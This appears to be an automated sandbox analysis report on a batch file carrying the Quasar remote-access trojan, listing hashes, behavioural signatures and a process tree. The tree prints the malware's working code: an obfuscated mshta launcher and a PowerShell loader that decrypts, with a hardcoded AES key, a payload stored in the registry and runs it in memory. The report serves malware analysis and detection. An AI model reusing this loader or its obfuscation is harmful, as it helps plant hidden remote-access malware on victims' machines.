Analysis
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max time kernel
55s -
max time network
58s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2024 13:36
Static task
static1
General
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Target
uni.bat
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Size
15.5MB
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MD5
180cabfef9e517bf8a30eaf917fb06ca
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SHA1
d47987045a7f1888b9a2a8c0159b5bd2c9d79274
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SHA256
fe831f43955da5cacbdf9eb8331cb62907141cb0f566b53e5a5f222fe30ee78c
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SHA512
91fed14301919d6a0514dd843e6ffaae07fc538199644f4c9033a3ef717a65974ba940ae6646fd4289c614138adbd385b3706169b1754cd8d5b9ef04891f91bb
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SSDEEP
49152:mcIdr0nn+8BsYSVa+P+J0XCCeRWpsKlP7k7o6SwofCLl7w+i2+SpQf86Gtpek1GI:1
Malware Config
Extracted
quasar
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reconnect_delay
3000
Signatures
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Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/4828-87-0x0000018B59930000-0x0000018B5A0DE000-memory.dmp family_quasar -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
$sxr-mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Deletes itself 1 IoCs
Processes:
powershell.exepid process 2596 powershell.exe -
Executes dropped EXE 5 IoCs
Processes:
$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-cmd.exe$sxr-powershell.exepid process 3184 $sxr-mshta.exe 4652 $sxr-cmd.exe 4828 $sxr-powershell.exe 4924 $sxr-cmd.exe 2504 $sxr-powershell.exe -
Drops file in System32 directory 2 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe -
Drops file in Windows directory 6 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\$sxr-powershell.exe powershell.exe File opened for modification C:\Windows\$sxr-powershell.exe powershell.exe File created C:\Windows\$sxr-mshta.exe powershell.exe File opened for modification C:\Windows\$sxr-mshta.exe powershell.exe File created C:\Windows\$sxr-cmd.exe powershell.exe File opened for modification C:\Windows\$sxr-cmd.exe powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe -
Modifies registry class 3 IoCs
Processes:
Explorer.EXE$sxr-mshta.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exetaskmgr.exe$sxr-powershell.exepid process 2596 powershell.exe 2596 powershell.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2596 powershell.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2596 powershell.exe 2596 powershell.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2596 powershell.exe 2436 taskmgr.exe 2436 taskmgr.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 2436 taskmgr.exe 2436 taskmgr.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 4828 $sxr-powershell.exe 2436 taskmgr.exe 2436 taskmgr.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 2436 taskmgr.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe 4828 $sxr-powershell.exe -
Suspicious use of AdjustPrivilegeToken 27 IoCs
Processes:
powershell.exetaskmgr.exe$sxr-powershell.exe$sxr-powershell.exeExplorer.EXEsvchost.exedescription pid process Token: SeDebugPrivilege 2596 powershell.exe Token: SeDebugPrivilege 2436 taskmgr.exe Token: SeSystemProfilePrivilege 2436 taskmgr.exe Token: SeCreateGlobalPrivilege 2436 taskmgr.exe Token: SeDebugPrivilege 2596 powershell.exe Token: SeDebugPrivilege 2596 powershell.exe Token: SeDebugPrivilege 4828 $sxr-powershell.exe Token: SeDebugPrivilege 4828 $sxr-powershell.exe Token: SeDebugPrivilege 4828 $sxr-powershell.exe Token: SeDebugPrivilege 2504 $sxr-powershell.exe Token: SeShutdownPrivilege 3528 Explorer.EXE Token: SeCreatePagefilePrivilege 3528 Explorer.EXE Token: SeShutdownPrivilege 3528 Explorer.EXE Token: SeCreatePagefilePrivilege 3528 Explorer.EXE Token: SeShutdownPrivilege 3528 Explorer.EXE Token: SeCreatePagefilePrivilege 3528 Explorer.EXE Token: SeShutdownPrivilege 3528 Explorer.EXE Token: SeCreatePagefilePrivilege 3528 Explorer.EXE Token: SeAuditPrivilege 2836 svchost.exe Token: SeShutdownPrivilege 3528 Explorer.EXE Token: SeCreatePagefilePrivilege 3528 Explorer.EXE Token: SeShutdownPrivilege 3528 Explorer.EXE Token: SeCreatePagefilePrivilege 3528 Explorer.EXE Token: SeShutdownPrivilege 3528 Explorer.EXE Token: SeCreatePagefilePrivilege 3528 Explorer.EXE Token: SeShutdownPrivilege 3528 Explorer.EXE Token: SeCreatePagefilePrivilege 3528 Explorer.EXE -
Suspicious use of FindShellTrayWindow 63 IoCs
Processes:
taskmgr.exepid process 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe -
Suspicious use of SendNotifyMessage 63 IoCs
Processes:
taskmgr.exepid process 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe 2436 taskmgr.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 4828 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exedescription pid process target process PID 1264 wrote to memory of 1060 1264 cmd.exe cmd.exe PID 1264 wrote to memory of 1060 1264 cmd.exe cmd.exe PID 1264 wrote to memory of 2596 1264 cmd.exe powershell.exe PID 1264 wrote to memory of 2596 1264 cmd.exe powershell.exe PID 3184 wrote to memory of 4652 3184 $sxr-mshta.exe $sxr-cmd.exe PID 3184 wrote to memory of 4652 3184 $sxr-mshta.exe $sxr-cmd.exe PID 4652 wrote to memory of 2944 4652 $sxr-cmd.exe cmd.exe PID 4652 wrote to memory of 2944 4652 $sxr-cmd.exe cmd.exe PID 4652 wrote to memory of 4828 4652 $sxr-cmd.exe $sxr-powershell.exe PID 4652 wrote to memory of 4828 4652 $sxr-cmd.exe $sxr-powershell.exe PID 4828 wrote to memory of 680 4828 $sxr-powershell.exe lsass.exe PID 4828 wrote to memory of 680 4828 $sxr-powershell.exe lsass.exe PID 4828 wrote to memory of 956 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 956 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 740 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 740 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1028 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1028 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1080 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1080 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1092 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1092 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1212 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1212 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1244 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1244 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1284 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1284 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1304 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1304 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1336 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1336 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1464 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1464 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1496 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1496 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1504 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1504 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1516 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1516 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1692 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1692 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1704 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1704 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1752 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1752 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1784 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1784 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1912 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1912 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1992 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1992 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 2000 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 2000 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1600 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1600 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1716 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1716 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1968 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 1968 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 2124 4828 $sxr-powershell.exe spoolsv.exe PID 4828 wrote to memory of 2124 4828 $sxr-powershell.exe spoolsv.exe PID 4828 wrote to memory of 2220 4828 $sxr-powershell.exe svchost.exe PID 4828 wrote to memory of 2220 4828 $sxr-powershell.exe svchost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-ehBGaRlEODKWQQdTfvks4312:pjfkvrYA=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-ehBGaRlEODKWQQdTfvks4312:pjfkvrYA=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:IOwodPhXUR; "4⤵
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /C set "OSpjlKFFSU=[System.Diagnostics.Process]::GetProcessById(4828).WaitForExit();[System.Threading.Thread]::Sleep(5000); function bCipR($pdCcE){ $azyxY=[System.Security.Cryptography.Aes]::Create(); $azyxY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $azyxY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $azyxY.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('Bn03cunjzaZMJkse/750PEbINesOLpXMJ3bFGmsT9f0='); $azyxY.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('iPrq3j/amXn4XerqJiVgBg=='); $tTxtH=$azyxY.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $jJfIY=$tTxtH.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($pdCcE, 0, $pdCcE.Length); $tTxtH.Dispose(); $azyxY.Dispose(); $jJfIY;}function dvTyf($pdCcE){ $uqlzn=New-Object System.IO.MemoryStream(,$pdCcE); $FEoEw=New-Object System.IO.MemoryStream; Invoke-Expression '$JpuBF @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$uqlzn,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $JpuBF.CopyTo($FEoEw); $JpuBF.Dispose(); $uqlzn.Dispose(); $FEoEw.Dispose(); $FEoEw.ToArray();}function kWCWt($pdCcE){ $jJfIY = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($pdCcE); $jJfIY = bCipR($jJfIY); $jJfIY = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($jJfIY); return $jJfIY;}function execute_function($pdCcE,$YIILW){ $zOdZE = @( '$YCSSl = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::@L@o@a@d@([byte[]]$pdCcE);'.Replace('@', ''), '$lsNPY = $YCSSl.EntryPoint;', '$lsNPY.Invoke($null, $YIILW);' ); foreach ($vSDVd in $zOdZE) { Invoke-Expression $vSDVd };}$KXrrS = kWCWt('jf2bvKDN5CoTgv5C072QvQ==');$ZZfQS = kWCWt('TMKlLadAhTHf+0yxOesGPhFDPPQghCW4KfrD05tKmpk=');$XFOhA = kWCWt('WUH2+BYck7a4wQjKSs9LRQ==');$REsor = kWCWt('Y8w7AU29S6DlwioFmC47tw==');if (@(get-process -ea silentlycontinue $REsor).count -gt 1) {exit};$HAnLi = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($KXrrS).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($ZZfQS);$ecBcW=dvTyf (bCipR ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($HAnLi)));execute_function $ecBcW (,[string[]] ($XFOhA));" & echo Invoke-Expression $env:OSpjlKFFSU; | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul5⤵
- Executes dropped EXE
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:OSpjlKFFSU; "6⤵
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\uni.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:jgzkrJoqAf; "3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3iqiurb.xyv.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
